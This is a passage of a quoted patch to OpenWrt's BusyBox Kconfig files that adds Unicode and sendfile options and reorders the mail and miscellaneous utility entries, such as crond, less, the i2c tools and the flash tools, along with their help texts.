> +	  4351 (0x10ff) - there are no double-wide chars in [0..4351] range,
> +			code is ~300 bytes smaller for this case.
> +	  12799 (0x31ff) - nearly all non-ideographic characters are
> +			available in [0..12799] range, including
> +			East Asian scripts like katakana, hiragana, hangul,
> +			bopomofo...
> +	  0 - off, any valid printable Unicode character will be printed.
> +
> +config BUSYBOX_CONFIG_UNICODE_COMBINING_WCHARS
> +	bool "Allow zero-width Unicode characters on output"
> +	default BUSYBOX_DEFAULT_UNICODE_COMBINING_WCHARS
> +	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> +	help
> +	  With this option off, any Unicode char with width of 0
> +	  is substituted on output.
> +
> +config BUSYBOX_CONFIG_UNICODE_WIDE_WCHARS
> +	bool "Allow wide Unicode characters on output"
> +	default BUSYBOX_DEFAULT_UNICODE_WIDE_WCHARS
> +	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> +	help
> +	  With this option off, any Unicode char with width > 1
> +	  is substituted on output.
> +
> +config BUSYBOX_CONFIG_UNICODE_BIDI_SUPPORT
> +	bool "Bidirectional character-aware line input"
> +	default BUSYBOX_DEFAULT_UNICODE_BIDI_SUPPORT
> +	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && !BUSYBOX_CONFIG_UNICODE_USING_LOCALE
> +	help
> +	  With this option on, right-to-left Unicode characters
> +	  are treated differently on input (e.g. cursor movement).
> +
> +config BUSYBOX_CONFIG_UNICODE_NEUTRAL_TABLE
> +	bool "In bidi input, support non-ASCII neutral chars too"
> +	default BUSYBOX_DEFAULT_UNICODE_NEUTRAL_TABLE
> +	depends on BUSYBOX_CONFIG_UNICODE_BIDI_SUPPORT
> +	help
> +	  In most cases it's enough to treat only ASCII non-letters
> +	  (i.e. punctuation, numbers and space) as characters
> +	  with neutral directionality.
> +	  With this option on, more extensive (and bigger) table
> +	  of neutral chars will be used.
> +
> +config BUSYBOX_CONFIG_UNICODE_PRESERVE_BROKEN
> +	bool "Make it possible to enter sequences of chars which are not Unicode"
> +	default BUSYBOX_DEFAULT_UNICODE_PRESERVE_BROKEN
> +	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> +	help
> +	  With this option on, on line-editing input (such as used by shells)
> +	  invalid UTF-8 bytes are not substituted with the selected
> +	  substitution character.
> +	  For example, this means that entering 'l', 's', ' ', 0xff, [Enter]
> +	  at shell prompt will list file named 0xff (single char name
> +	  with char value 255), not file named '?'.
> +
>   config BUSYBOX_CONFIG_FEATURE_NON_POSIX_CP
>   	bool "Non-POSIX, but safer, copying to special nodes"
>   	default BUSYBOX_DEFAULT_FEATURE_NON_POSIX_CP
> @@ -215,6 +364,19 @@ config BUSYBOX_CONFIG_FEATURE_VERBOSE_CP_MESSAGE
>   	    cp: cannot stat '/vmlinuz/file': Not a directory
>   	  This will cost you ~60 bytes.
>   
> +config BUSYBOX_CONFIG_FEATURE_USE_SENDFILE
> +	bool "Use sendfile system call"
> +	default BUSYBOX_DEFAULT_FEATURE_USE_SENDFILE
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  When enabled, busybox will use the kernel sendfile() function
> +	  instead of read/write loops to copy data between file descriptors
> +	  (for example, cp command does this a lot).
> +	  If sendfile() doesn't work, copying code falls back to read/write
> +	  loop. sendfile() was originally implemented for faster I/O
> +	  from files to sockets, but since Linux 2.6.33 it was extended
> +	  to work for many more file types.
> +
>   config BUSYBOX_CONFIG_FEATURE_COPYBUF_KB
>   	int "Copy buffer size, in kilobytes"
>   	range 1 1024
> diff --git a/package/utils/busybox/config/mailutils/Config.in b/package/utils/busybox/config/mailutils/Config.in
> index 64b9a2b..7e77407 100644
> --- a/package/utils/busybox/config/mailutils/Config.in
> +++ b/package/utils/busybox/config/mailutils/Config.in
> @@ -1,20 +1,11 @@
>   # DO NOT EDIT. This file is generated from Config.src
>   menu "Mail Utilities"
>   
> -
>   config BUSYBOX_CONFIG_MAKEMIME
>   	bool "makemime"
>   	default BUSYBOX_DEFAULT_MAKEMIME
>   	help
>   	  Create MIME-formatted messages.
> -
> -config BUSYBOX_CONFIG_FEATURE_MIME_CHARSET
> -	string "Default charset"
> -	default BUSYBOX_DEFAULT_FEATURE_MIME_CHARSET
> -	depends on BUSYBOX_CONFIG_MAKEMIME || BUSYBOX_CONFIG_REFORMIME || BUSYBOX_CONFIG_SENDMAIL
> -	help
> -	  Default charset of the message.
> -
>   config BUSYBOX_CONFIG_POPMAILDIR
>   	bool "popmaildir"
>   	default BUSYBOX_DEFAULT_POPMAILDIR
> @@ -31,7 +22,6 @@ config BUSYBOX_CONFIG_FEATURE_POPMAILDIR_DELIVERY
>   	  of the message before actual delivery (-F "prog [args...]").
>   	  Allow to use a custom program for message actual delivery
>   	  (-M "prog [args...]").
> -
>   config BUSYBOX_CONFIG_REFORMIME
>   	bool "reformime"
>   	default BUSYBOX_DEFAULT_REFORMIME
> @@ -45,11 +35,17 @@ config BUSYBOX_CONFIG_FEATURE_REFORMIME_COMPAT
>   	help
>   	  Accept (for compatibility only) and ignore options
>   	  other than -x and -X.
> -
>   config BUSYBOX_CONFIG_SENDMAIL
>   	bool "sendmail"
>   	default BUSYBOX_DEFAULT_SENDMAIL
>   	help
>   	  Barebones sendmail.
>   
> +config BUSYBOX_CONFIG_FEATURE_MIME_CHARSET
> +	string "Default charset"
> +	default BUSYBOX_DEFAULT_FEATURE_MIME_CHARSET
> +	depends on BUSYBOX_CONFIG_MAKEMIME || BUSYBOX_CONFIG_REFORMIME || BUSYBOX_CONFIG_SENDMAIL
> +	help
> +	  Default charset of the message.
> +
>   endmenu
> diff --git a/package/utils/busybox/config/miscutils/Config.in b/package/utils/busybox/config/miscutils/Config.in
> index 3465df4..817a514 100644
> --- a/package/utils/busybox/config/miscutils/Config.in
> +++ b/package/utils/busybox/config/miscutils/Config.in
> @@ -6,259 +6,6 @@
>   
>   menu "Miscellaneous Utilities"
>   
> -config BUSYBOX_CONFIG_CONSPY
> -	bool "conspy"
> -	default BUSYBOX_DEFAULT_CONSPY
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  A text-mode VNC like program for Linux virtual terminals.
> -	  example:  conspy NUM      shared access to console num
> -	  or        conspy -nd NUM  screenshot of console num
> -	  or        conspy -cs NUM  poor man's GNU screen like
> -config BUSYBOX_CONFIG_CROND
> -	bool "crond"
> -	default BUSYBOX_DEFAULT_CROND
> -	select BUSYBOX_CONFIG_FEATURE_SYSLOG
> -	help
> -	  Crond is a background daemon that parses individual crontab
> -	  files and executes commands on behalf of the users in question.
> -	  This is a port of dcron from slackware. It uses files of the
> -	  format /var/spool/cron/crontabs/<username> files, for example:
> -	      $ cat /var/spool/cron/crontabs/root
> -	      # Run daily cron jobs at 4:40 every day:
> -	      40 4 * * * /etc/cron/daily > /dev/null 2>&1
> -
> -config BUSYBOX_CONFIG_FEATURE_CROND_D
> -	bool "Support option -d to redirect output to stderr"
> -	depends on BUSYBOX_CONFIG_CROND
> -	default BUSYBOX_DEFAULT_FEATURE_CROND_D
> -	help
> -	  -d N sets loglevel (0:most verbose) and directs all output to stderr.
> -
> -config BUSYBOX_CONFIG_FEATURE_CROND_CALL_SENDMAIL
> -	bool "Report command output via email (using sendmail)"
> -	default BUSYBOX_DEFAULT_FEATURE_CROND_CALL_SENDMAIL
> -	depends on BUSYBOX_CONFIG_CROND
> -	help
> -	  Command output will be sent to corresponding user via email.
> -
> -config BUSYBOX_CONFIG_FEATURE_CROND_DIR
> -	string "crond spool directory"
> -	default BUSYBOX_DEFAULT_FEATURE_CROND_DIR
> -	depends on BUSYBOX_CONFIG_CROND || BUSYBOX_CONFIG_CRONTAB
> -	help
> -	  Location of crond spool.
> -config BUSYBOX_CONFIG_I2CGET
> -	bool "i2cget"
> -	default BUSYBOX_DEFAULT_I2CGET
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Read from I2C/SMBus chip registers.
> -
> -config BUSYBOX_CONFIG_I2CSET
> -	bool "i2cset"
> -	default BUSYBOX_DEFAULT_I2CSET
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Set I2C registers.
> -
> -config BUSYBOX_CONFIG_I2CDUMP
> -	bool "i2cdump"
> -	default BUSYBOX_DEFAULT_I2CDUMP
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Examine I2C registers.
> -
> -config BUSYBOX_CONFIG_I2CDETECT
> -	bool "i2cdetect"
> -	default BUSYBOX_DEFAULT_I2CDETECT
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Detect I2C chips.
> -
> -config BUSYBOX_CONFIG_LESS
> -	bool "less"
> -	default BUSYBOX_DEFAULT_LESS
> -	help
> -	  'less' is a pager, meaning that it displays text files. It possesses
> -	  a wide array of features, and is an improvement over 'more'.
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_MAXLINES
> -	int "Max number of input lines less will try to eat"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_MAXLINES
> -	depends on BUSYBOX_CONFIG_LESS
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_BRACKETS
> -	bool "Enable bracket searching"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_BRACKETS
> -	depends on BUSYBOX_CONFIG_LESS
> -	help
> -	  This option adds the capability to search for matching left and right
> -	  brackets, facilitating programming.
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_FLAGS
> -	bool "Enable -m/-M"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_FLAGS
> -	depends on BUSYBOX_CONFIG_LESS
> -	help
> -	  The -M/-m flag enables a more sophisticated status line.
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_TRUNCATE
> -	bool "Enable -S"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_TRUNCATE
> -	depends on BUSYBOX_CONFIG_LESS
> -	help
> -	  The -S flag causes long lines to be truncated rather than
> -	  wrapped.
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_MARKS
> -	bool "Enable marks"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_MARKS
> -	depends on BUSYBOX_CONFIG_LESS
> -	help
> -	  Marks enable positions in a file to be stored for easy reference.
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_REGEXP
> -	bool "Enable regular expressions"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_REGEXP
> -	depends on BUSYBOX_CONFIG_LESS
> -	help
> -	  Enable regular expressions, allowing complex file searches.
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_WINCH
> -	bool "Enable automatic resizing on window size changes"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_WINCH
> -	depends on BUSYBOX_CONFIG_LESS
> -	help
> -	  Makes less track window size changes.
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_ASK_TERMINAL
> -	bool "Use 'tell me cursor position' ESC sequence to measure window"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_ASK_TERMINAL
> -	depends on BUSYBOX_CONFIG_FEATURE_LESS_WINCH
> -	help
> -	  Makes less track window size changes.
> -	  If terminal size can't be retrieved and $LINES/$COLUMNS are not set,
> -	  this option makes less perform a last-ditch effort to find it:
> -	  position cursor to 999,999 and ask terminal to report real
> -	  cursor position using "ESC [ 6 n" escape sequence, then read stdin.
> -
> -	  This is not clean but helps a lot on serial lines and such.
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_DASHCMD
> -	bool "Enable flag changes ('-' command)"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_DASHCMD
> -	depends on BUSYBOX_CONFIG_LESS
> -	help
> -	  This enables the ability to change command-line flags within
> -	  less itself ('-' keyboard command).
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_LINENUMS
> -	bool "Enable dynamic switching of line numbers"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_LINENUMS
> -	depends on BUSYBOX_CONFIG_FEATURE_LESS_DASHCMD
> -	help
> -	  Enables "-N" command.
> -config BUSYBOX_CONFIG_NANDWRITE
> -	bool "nandwrite"
> -	default BUSYBOX_DEFAULT_NANDWRITE
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Write to the specified MTD device, with bad blocks awareness
> -
> -config BUSYBOX_CONFIG_NANDDUMP
> -	bool "nanddump"
> -	default BUSYBOX_DEFAULT_NANDDUMP
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Dump the content of raw NAND chip
> -config BUSYBOX_CONFIG_RFKILL
> -	bool "rfkill"
> -	default BUSYBOX_DEFAULT_RFKILL # doesn't build on Ubuntu 9.04
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Enable/disable wireless devices.
> -
> -	  rfkill list : list all wireless devices
> -	  rfkill list bluetooth : list all bluetooth devices
> -	  rfkill list 1 : list device corresponding to the given index
> -	  rfkill block|unblock wlan : block/unblock all wlan(wifi) devices
> -
> -config BUSYBOX_CONFIG_SETSERIAL
> -	bool "setserial"
> -	default BUSYBOX_DEFAULT_SETSERIAL
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Retrieve or set Linux serial port.
> -config BUSYBOX_CONFIG_TASKSET
> -	bool "taskset"
> -	default BUSYBOX_DEFAULT_TASKSET  # doesn't build on some non-x86 targets (m68k)
> -	help
> -	  Retrieve or set a processes's CPU affinity.
> -	  This requires sched_{g,s}etaffinity support in your libc.
> -
> -config BUSYBOX_CONFIG_FEATURE_TASKSET_FANCY
> -	bool "Fancy output"
> -	default BUSYBOX_DEFAULT_FEATURE_TASKSET_FANCY
> -	depends on BUSYBOX_CONFIG_TASKSET
> -	help
> -	  Add code for fancy output. This merely silences a compiler-warning
> -	  and adds about 135 Bytes. May be needed for machines with alot
> -	  of CPUs.
> -config BUSYBOX_CONFIG_UBIATTACH
> -	bool "ubiattach"
> -	default BUSYBOX_DEFAULT_UBIATTACH
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Attach MTD device to an UBI device.
> -
> -config BUSYBOX_CONFIG_UBIDETACH
> -	bool "ubidetach"
> -	default BUSYBOX_DEFAULT_UBIDETACH
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Detach MTD device from an UBI device.
> -
> -config BUSYBOX_CONFIG_UBIMKVOL
> -	bool "ubimkvol"
> -	default BUSYBOX_DEFAULT_UBIMKVOL
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Create a UBI volume.
> -
> -config BUSYBOX_CONFIG_UBIRMVOL
> -	bool "ubirmvol"
> -	default BUSYBOX_DEFAULT_UBIRMVOL
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Delete a UBI volume.
> -
> -config BUSYBOX_CONFIG_UBIRSVOL
> -	bool "ubirsvol"
> -	default BUSYBOX_DEFAULT_UBIRSVOL
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Resize a UBI volume.
> -
> -config BUSYBOX_CONFIG_UBIUPDATEVOL
> -	bool "ubiupdatevol"
> -	default BUSYBOX_DEFAULT_UBIUPDATEVOL
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Update a UBI volume.
> -config BUSYBOX_CONFIG_UBIRENAME
> -	bool "ubirename"
> -	default BUSYBOX_DEFAULT_UBIRENAME
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Utility to rename UBI volumes
> -config BUSYBOX_CONFIG_WALL
> -	bool "wall"
> -	default BUSYBOX_DEFAULT_WALL
> -	depends on BUSYBOX_CONFIG_FEATURE_UTMP
> -	help
> -	  Write a message to all users that are logged in.
> -
>   config BUSYBOX_CONFIG_ADJTIMEX
>   	bool "adjtimex"
>   	default BUSYBOX_DEFAULT_ADJTIMEX
> @@ -266,7 +13,6 @@ config BUSYBOX_CONFIG_ADJTIMEX
>   	help
>   	  Adjtimex reads and optionally sets adjustment parameters for
>   	  the Linux clock adjustment algorithm.
> -
>   config BUSYBOX_CONFIG_BBCONFIG
>   	bool "bbconfig"
>   	default BUSYBOX_DEFAULT_BBCONFIG
> @@ -287,7 +33,6 @@ config BUSYBOX_CONFIG_FEATURE_COMPRESS_BBCONFIG
>   	  be noticeable. Also, if you run executables directly from ROM
>   	  and have very little memory, this might not be a win. Otherwise,
>   	  you probably want this.
> -
>   config BUSYBOX_CONFIG_BEEP
>   	bool "beep"
>   	default BUSYBOX_DEFAULT_BEEP
> @@ -310,7 +55,6 @@ config BUSYBOX_CONFIG_FEATURE_BEEP_LENGTH_MS
>   	depends on BUSYBOX_CONFIG_BEEP
>   	help
>   	  Length in ms for default beep.
> -
>   config BUSYBOX_CONFIG_CHAT
>   	bool "chat"
>   	default BUSYBOX_DEFAULT_CHAT
> @@ -377,14 +121,54 @@ config BUSYBOX_CONFIG_FEATURE_CHAT_CLR_ABORT
>   	default BUSYBOX_DEFAULT_FEATURE_CHAT_CLR_ABORT
>   	help
>   	  Support CLR_ABORT directive.
> -
>   config BUSYBOX_CONFIG_CHRT
>   	bool "chrt"
>   	default BUSYBOX_DEFAULT_CHRT
>   	help
>   	  manipulate real-time attributes of a process.
>   	  This requires sched_{g,s}etparam support in your libc.
> +config BUSYBOX_CONFIG_CONSPY
> +	bool "conspy"
> +	default BUSYBOX_DEFAULT_CONSPY
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  A text-mode VNC like program for Linux virtual terminals.
> +	  example:  conspy NUM      shared access to console num
> +	  or        conspy -nd NUM  screenshot of console num
> +	  or        conspy -cs NUM  poor man's GNU screen like
> +config BUSYBOX_CONFIG_CROND
> +	bool "crond"
> +	default BUSYBOX_DEFAULT_CROND
> +	select BUSYBOX_CONFIG_FEATURE_SYSLOG
> +	help
> +	  Crond is a background daemon that parses individual crontab
> +	  files and executes commands on behalf of the users in question.
> +	  This is a port of dcron from slackware. It uses files of the
> +	  format /var/spool/cron/crontabs/<username> files, for example:
> +	      $ cat /var/spool/cron/crontabs/root
> +	      # Run daily cron jobs at 4:40 every day:
> +	      40 4 * * * /etc/cron/daily > /dev/null 2>&1
>   
> +config BUSYBOX_CONFIG_FEATURE_CROND_D
> +	bool "Support option -d to redirect output to stderr"
> +	depends on BUSYBOX_CONFIG_CROND
> +	default BUSYBOX_DEFAULT_FEATURE_CROND_D
> +	help
> +	  -d N sets loglevel (0:most verbose) and directs all output to stderr.
> +
> +config BUSYBOX_CONFIG_FEATURE_CROND_CALL_SENDMAIL
> +	bool "Report command output via email (using sendmail)"
> +	default BUSYBOX_DEFAULT_FEATURE_CROND_CALL_SENDMAIL
> +	depends on BUSYBOX_CONFIG_CROND
> +	help
> +	  Command output will be sent to corresponding user via email.
> +
> +config BUSYBOX_CONFIG_FEATURE_CROND_DIR
> +	string "crond spool directory"
> +	default BUSYBOX_DEFAULT_FEATURE_CROND_DIR
> +	depends on BUSYBOX_CONFIG_CROND || BUSYBOX_CONFIG_CRONTAB
> +	help
> +	  Location of crond spool.
>   config BUSYBOX_CONFIG_CRONTAB
>   	bool "crontab"
>   	default BUSYBOX_DEFAULT_CRONTAB
> @@ -393,7 +177,6 @@ config BUSYBOX_CONFIG_CRONTAB
>   	  the superuser may specify a different user and/or crontab directory.
>   	  Note that Busybox binary must be setuid root for this applet to
>   	  work properly.
> -
>   config BUSYBOX_CONFIG_DC
>   	bool "dc"
>   	default BUSYBOX_DEFAULT_DC
> @@ -408,7 +191,6 @@ config BUSYBOX_CONFIG_FEATURE_DC_LIBM
>   	help
>   	  Enable power and exp functions.
>   	  NOTE: This will require libm to be present for linking.
> -
>   config BUSYBOX_CONFIG_DEVFSD
>   	bool "devfsd (obsolete)"
>   	default BUSYBOX_DEFAULT_DEVFSD
> @@ -465,14 +247,12 @@ config BUSYBOX_CONFIG_FEATURE_DEVFS
>   	  tells busybox to look for names like /dev/loop/0 instead of
>   	  /dev/loop0. If your /dev directory has normal names instead of
>   	  devfs names, you don't want this.
> -
>   config BUSYBOX_CONFIG_DEVMEM
>   	bool "devmem"
>   	default BUSYBOX_DEFAULT_DEVMEM
>   	help
>   	  devmem is a small program that reads and writes from physical
>   	  memory using /dev/mem.
> -
>   config BUSYBOX_CONFIG_EJECT
>   	bool "eject"
>   	default BUSYBOX_DEFAULT_EJECT
> @@ -487,7 +267,6 @@ config BUSYBOX_CONFIG_FEATURE_EJECT_SCSI
>   	help
>   	  Add the -s option to eject, this allows to eject SCSI-Devices and
>   	  usb-storage devices.
> -
>   config BUSYBOX_CONFIG_FBSPLASH
>   	bool "fbsplash"
>   	default BUSYBOX_DEFAULT_FBSPLASH
> @@ -509,65 +288,31 @@ config BUSYBOX_CONFIG_FBSPLASH
>   	  - commands for fifo:
>   	    "NN" (ASCII decimal number) - percentage to show on progress bar
>   	    "exit" - well you guessed it
> -
> -config BUSYBOX_CONFIG_FLASHCP
> -	bool "flashcp"
> -	default BUSYBOX_DEFAULT_FLASHCP  # doesn't build on Ubuntu 8.04
> -	help
> -	  The flashcp binary, inspired by mtd-utils as of git head 5eceb74f7.
> -	  This utility is used to copy images into a MTD device.
> -
> -config BUSYBOX_CONFIG_FLASH_LOCK
> -	bool "flash_lock"
> -	default BUSYBOX_DEFAULT_FLASH_LOCK  # doesn't build on Ubuntu 8.04
> -	help
> -	  The flash_lock binary from mtd-utils as of git head 5ec0c10d0. This
> -	  utility locks part or all of the flash device.
> -
> -config BUSYBOX_CONFIG_FLASH_UNLOCK
> -	bool "flash_unlock"
> -	default BUSYBOX_DEFAULT_FLASH_UNLOCK  # doesn't build on Ubuntu 8.04
> -	help
> -	  The flash_unlock binary from mtd-utils as of git head 5ec0c10d0. This
> -	  utility unlocks part or all of the flash device.
> -
>   config BUSYBOX_CONFIG_FLASH_ERASEALL
>   	bool "flash_eraseall"
>   	default BUSYBOX_DEFAULT_FLASH_ERASEALL  # doesn't build on Ubuntu 8.04
>   	help
>   	  The flash_eraseall binary from mtd-utils as of git head c4c6a59eb.
>   	  This utility is used to erase the whole MTD device.
> -
> -config BUSYBOX_CONFIG_IONICE
> -	bool "ionice"
> -	default BUSYBOX_DEFAULT_IONICE
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Set/set program io scheduling class and priority
> -	  Requires kernel >= 2.6.13
> -
> -config BUSYBOX_CONFIG_INOTIFYD
> -	bool "inotifyd"
> -	default BUSYBOX_DEFAULT_INOTIFYD  # doesn't build on Knoppix 5
> -	help
> -	  Simple inotify daemon. Reports filesystem changes. Requires
> -	  kernel >= 2.6.13
> -
> -config BUSYBOX_CONFIG_LAST
> -	bool "last"
> -	default BUSYBOX_DEFAULT_LAST
> -	depends on BUSYBOX_CONFIG_FEATURE_WTMP
> -	help
> -	  'last' displays a list of the last users that logged into the system.
> -
> -config BUSYBOX_CONFIG_FEATURE_LAST_FANCY
> -	bool "Turn on output of extra information"
> -	default BUSYBOX_DEFAULT_FEATURE_LAST_FANCY
> -	depends on BUSYBOX_CONFIG_LAST
> +config BUSYBOX_CONFIG_FLASH_LOCK
> +	bool "flash_lock"
> +	default BUSYBOX_DEFAULT_FLASH_LOCK  # doesn't build on Ubuntu 8.04
>   	help
> -	  'last' displays detailed information about the last users that
> -	  logged into the system (mimics sysvinit last). +900 bytes.
> +	  The flash_lock binary from mtd-utils as of git head 5ec0c10d0. This
> +	  utility locks part or all of the flash device.
>   
> +config BUSYBOX_CONFIG_FLASH_UNLOCK
> +	bool "flash_unlock"
> +	default BUSYBOX_DEFAULT_FLASH_UNLOCK  # doesn't build on Ubuntu 8.04
> +	help
> +	  The flash_unlock binary from mtd-utils as of git head 5ec0c10d0. This
> +	  utility unlocks part or all of the flash device.
> +config BUSYBOX_CONFIG_FLASHCP
> +	bool "flashcp"
> +	default BUSYBOX_DEFAULT_FLASHCP  # doesn't build on Ubuntu 8.04
> +	help
> +	  The flashcp binary, inspired by mtd-utils as of git head 5eceb74f7.
> +	  This utility is used to copy images into a MTD device.
>   config BUSYBOX_CONFIG_HDPARM
>   	bool "hdparm"
>   	default BUSYBOX_DEFAULT_HDPARM
> @@ -626,13 +371,149 @@ config BUSYBOX_CONFIG_FEATURE_HDPARM_HDIO_GETSET_DMA
>   	depends on BUSYBOX_CONFIG_HDPARM
>   	help
>   	  Enables the 'hdparm -d' option to get/set using_dma flag.
> +config BUSYBOX_CONFIG_I2CGET
> +	bool "i2cget"
> +	default BUSYBOX_DEFAULT_I2CGET
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Read from I2C/SMBus chip registers.
> +
> +config BUSYBOX_CONFIG_I2CSET
> +	bool "i2cset"
> +	default BUSYBOX_DEFAULT_I2CSET
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Set I2C registers.
> +
> +config BUSYBOX_CONFIG_I2CDUMP
> +	bool "i2cdump"
> +	default BUSYBOX_DEFAULT_I2CDUMP
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Examine I2C registers.
> +
> +config BUSYBOX_CONFIG_I2CDETECT
> +	bool "i2cdetect"
> +	default BUSYBOX_DEFAULT_I2CDETECT
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Detect I2C chips.
> +
> +config BUSYBOX_CONFIG_INOTIFYD
> +	bool "inotifyd"
> +	default BUSYBOX_DEFAULT_INOTIFYD  # doesn't build on Knoppix 5
> +	help
> +	  Simple inotify daemon. Reports filesystem changes. Requires
> +	  kernel >= 2.6.13
> +config BUSYBOX_CONFIG_IONICE
> +	bool "ionice"
> +	default BUSYBOX_DEFAULT_IONICE
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Set/set program io scheduling class and priority
> +	  Requires kernel >= 2.6.13
> +config BUSYBOX_CONFIG_LAST
> +	bool "last"
> +	default BUSYBOX_DEFAULT_LAST
> +	depends on BUSYBOX_CONFIG_FEATURE_WTMP
> +	help
> +	  'last' displays a list of the last users that logged into the system.
> +
> +config BUSYBOX_CONFIG_FEATURE_LAST_FANCY
> +	bool "Turn on output of extra information"
> +	default BUSYBOX_DEFAULT_FEATURE_LAST_FANCY
> +	depends on BUSYBOX_CONFIG_LAST
> +	help
> +	  'last' displays detailed information about the last users that
> +	  logged into the system (mimics sysvinit last). +900 bytes.
> +config BUSYBOX_CONFIG_LESS
> +	bool "less"
> +	default BUSYBOX_DEFAULT_LESS
> +	help
> +	  'less' is a pager, meaning that it displays text files. It possesses
> +	  a wide array of features, and is an improvement over 'more'.
> +
> +config BUSYBOX_CONFIG_FEATURE_LESS_MAXLINES
> +	int "Max number of input lines less will try to eat"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_MAXLINES
> +	depends on BUSYBOX_CONFIG_LESS
> +
> +config BUSYBOX_CONFIG_FEATURE_LESS_BRACKETS
> +	bool "Enable bracket searching"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_BRACKETS
> +	depends on BUSYBOX_CONFIG_LESS
> +	help
> +	  This option adds the capability to search for matching left and right
> +	  brackets, facilitating programming.
> +
> +config BUSYBOX_CONFIG_FEATURE_LESS_FLAGS
> +	bool "Enable -m/-M"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_FLAGS
> +	depends on BUSYBOX_CONFIG_LESS
> +	help
> +	  The -M/-m flag enables a more sophisticated status line.
> +
> +config BUSYBOX_CONFIG_FEATURE_LESS_TRUNCATE
> +	bool "Enable -S"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_TRUNCATE
> +	depends on BUSYBOX_CONFIG_LESS
> +	help
> +	  The -S flag causes long lines to be truncated rather than
> +	  wrapped.
> +
> +config BUSYBOX_CONFIG_FEATURE_LESS_MARKS
> +	bool "Enable marks"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_MARKS
> +	depends on BUSYBOX_CONFIG_LESS
> +	help
> +	  Marks enable positions in a file to be stored for easy reference.
> +
> +config BUSYBOX_CONFIG_FEATURE_LESS_REGEXP
> +	bool "Enable regular expressions"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_REGEXP
> +	depends on BUSYBOX_CONFIG_LESS
> +	help
> +	  Enable regular expressions, allowing complex file searches.
> +
> +config BUSYBOX_CONFIG_FEATURE_LESS_WINCH
> +	bool "Enable automatic resizing on window size changes"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_WINCH
> +	depends on BUSYBOX_CONFIG_LESS
> +	help
> +	  Makes less track window size changes.
> +
> +config BUSYBOX_CONFIG_FEATURE_LESS_ASK_TERMINAL
> +	bool "Use 'tell me cursor position' ESC sequence to measure window"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_ASK_TERMINAL
> +	depends on BUSYBOX_CONFIG_FEATURE_LESS_WINCH
> +	help
> +	  Makes less track window size changes.
> +	  If terminal size can't be retrieved and $LINES/$COLUMNS are not set,
> +	  this option makes less perform a last-ditch effort to find it:
> +	  position cursor to 999,999 and ask terminal to report real
> +	  cursor position using "ESC [ 6 n" escape sequence, then read stdin.
> +
> +	  This is not clean but helps a lot on serial lines and such.
> +
> +config BUSYBOX_CONFIG_FEATURE_LESS_DASHCMD
> +	bool "Enable flag changes ('-' command)"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_DASHCMD
> +	depends on BUSYBOX_CONFIG_LESS
> +	help
> +	  This enables the ability to change command-line flags within
> +	  less itself ('-' keyboard command).
>   
> +config BUSYBOX_CONFIG_FEATURE_LESS_LINENUMS
> +	bool "Enable dynamic switching of line numbers"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_LINENUMS
> +	depends on BUSYBOX_CONFIG_FEATURE_LESS_DASHCMD
> +	help
> +	  Enables "-N" command.
>   config BUSYBOX_CONFIG_LOCK
